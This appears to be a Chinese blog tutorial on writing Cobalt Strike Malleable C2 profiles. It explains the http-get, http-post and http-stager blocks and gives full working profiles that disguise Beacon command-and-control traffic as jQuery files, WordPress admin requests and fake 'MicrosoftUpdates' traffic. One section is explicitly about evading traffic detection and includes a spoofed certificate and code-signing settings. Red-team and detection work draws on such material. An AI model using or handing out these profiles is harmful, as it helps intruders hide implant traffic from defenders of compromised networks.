Malleable C2

Malleable C2 是 Cobalt Strike 的一项功能, 意为 "可定制的" 的 C2 服务器. Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为

C2配置代码结构

由如下四个部分组成

自定义参数

http-get

http-post

http-stager

其中主要的部分为http-gethttp-posthttp-stager

http-get,这段仅对通信过程中的 GET 请求有效

再看里面的子结构,主要分为ClientServer分别针Beacon对C2的请求C2对Beacon响应的内容进行修改

再看下其中Client结构中又分为三个部分,headerparametermetadata,都是在自定义http报文

        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; // 则为http报文中的响应头Accept-Language为zh-CN,zh;q=0.9,en;q=0.8,以此类推,就是自定义http报文
                parameter "ver" "1.2.4"; //其实就是当GET请求的时候,一个端点所带的参数,比如 ?ver=1.2.4 这种,同样是自定义http报文
                metadata { //其中base64则指明其中的数据需要进行base64编码,prepend声明前缀是token=,header "Cookie"则声明存储在Cookie字段中,那么合起来在http报文中体现的就是Cookie: token=BASE编码的数据
                        base64;
                        prepend "token=";
                        header "Cookie";
                }
        }

以此类推Server结构中的字段也是这样去理解的!

其中set uri,为Get请求时候的地址!

整合起来http-get就是如下的样子:

http-get {
        set uri "/jquery.min.js"; # 
        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
                parameter "ver" "1.2.4";
                metadata {
                        base64;
                        prepend "token=";
                        header "Cookie";
                }
        }
        server {
                header "Server" "Apache/2.4.39 (Unix)";
                header "Content-Type" "application/javascript; charset=utf-8";
                output {
                        base64;
                        prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
                        append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
                        print;
                }
        }
}

注意:Cobalt Strike中有个C2lint可以帮助我们对配置文件进行检测,./c2lint my.profile,如下图就是http-get部分

这里还会注意到在 http-get请求中 server 和 client大部分都是一样的,但是在 server 中也有不一样的,那么就是output,这里的output可以理解为 GET 请求响应的的部分,可以从上图里面的响应中看出!

最后还会发现在 http-post 中的 client 也有outputid这两个部分,那是什么意思呢?

这里需要知道的就是 在 Beacon 在上传 执行的数据 时是需要对应的 Task ID (这里的Task ID 可以理解为在你CS中的每个Beacon的编号)的, id 块正好是针对 Task ID 的修改,Client结构中的 output 块则是修改通过 POST 发送的数据, 而在 server 结构中的 output 块仅仅是用于修改响应内容的!

而最后的 http-stager 是用于 stage 过程,当 Beacon 被执行后, 会在 C2 上下载载荷执行,Stage 过程,但是Stageless没有这一个过程!


简单的HTTP Malleable C2 Profile配置:

set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";

http-get {
        set uri "/jquery.min.js";
        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
                parameter "ver" "1.2.4";
                metadata {
                        base64;
                        prepend "token=";
                        header "Cookie";
                }

        }

        server {
                header "Server" "Apache/2.4.39 (Unix)";
                header "Content-Type" "application/javascript; charset=utf-8";
                output {
                        base64;
                        prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
                        append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
                        print;

                }
        }
}

http-post {
        set uri "/wp-admin";
        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
                header "Cookie" "wordpress_test_cookie=WP+Cookie+check";
                id {
                        base64;
                        prepend "PHPSESSID=";
                        header "Cookie";
                }
                output {
                        base64;
                        print;
                }
        }

        server {
                header "Server" "Apache/2.4.39 (Unix)";
                header "Content-Type" "text/html; charset=UTF-8";
                output {
                        base64;
                        print;
                }
        }
}

http-stager {
        set uri_x86 "/favicon1.ico";
        set uri_x64 "/favicon2.ico";
        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        }

        server {
                header "Server" "Apache/2.4.39 (Unix)";
                header "Content-Type" "image/x-icon";
                output {
                        print;
                }
        }
}

C2所需要注意的地方:

1.每个Cobalt Strike实例一次使用一个配置文件,也就是说如果更改配置文件或加载新的配置文件,以前部署的Beacon将无法与你通信

2.在开发数据转换时,请始终了解数据的状态以及协议所允许的内容。例如,如果你对base64进行了元数据编码并将其存储在URI参数中,那么它将无法正常工作。为什么?因为在URL中某些base64字符(+,=和/)具有特殊含义,c2lint工具和Profile Compiler不会检测到此类问题。

3.即使进行很小的更改,也要始终测试你的配置文件。如果Beacon无法与你通信,则可能是你的配置文件profile存在问题。编辑它,然后再试一次。

4.信任c2lint工具。该工具超越了概要文件编译器。这些检查基于该技术的实现方式。如果c2lint检查失败,则说明你的配置文件profile存在实际问题。

参考文章:https://www.chabug.org/web/832.html
参考文章:https://www.cobaltstrike.com/help-malleable-c2


实现流量免杀

继续走,介绍完之后来个简单的应用,比如这篇文章的流量免杀!

文章:https://www.zzhsec.com/556.html

其中的C2配置如下:抽取关键的

#设置证书
https-certificate {
    set CN       "US"; 
    set O        "MicrosoftUpdates";   
    set C        "en";
    set L        "US";
    set OU       "MicrosoftUpdates";  
    set ST       "US";
    set validity "365";
}
#设置
code-signer{
    set keystore "zzhsec.store";
    set password "123.zzhsec!";
    set alias "zzhsec";
}

http-get {
    set uri "/updates";

    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/plain";

        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            netbios;
            parameter "id";
        }

        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }

    server {
        output {
            print;
        }
    }
}

进行抓包分析:

这里请求的是http-get,上面已经说过了,http-get中ClientServer分别针Beacon对C2的请求C2对Beacon响应的内容进行修改

在抓包里面分析,自己理解的一般http-get请求包是用来作为连接的作用,定时发送心跳包来维持通信

http-get {
    set uri "/updates";
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            base64;
            print;
        }
    }
}

跟踪TCP流

http-post部分

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            netbios;
            parameter "id";
        }

        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }

    server {
        output {
            print;
        }
    }
}

接下来再CS上面执行命令shell whoami

通信包:

跟踪TCP流

Beacon向C2发送的数据都是存储在data字段之后,正好跟C2的配置文件相同

C2响应的数据:

更多的C2配置文件参考:https://github.com/rsmudge/Malleable-C2-Profiles

原文地址:https://www.cnblogs.com/zpchcbd/p/12466380.html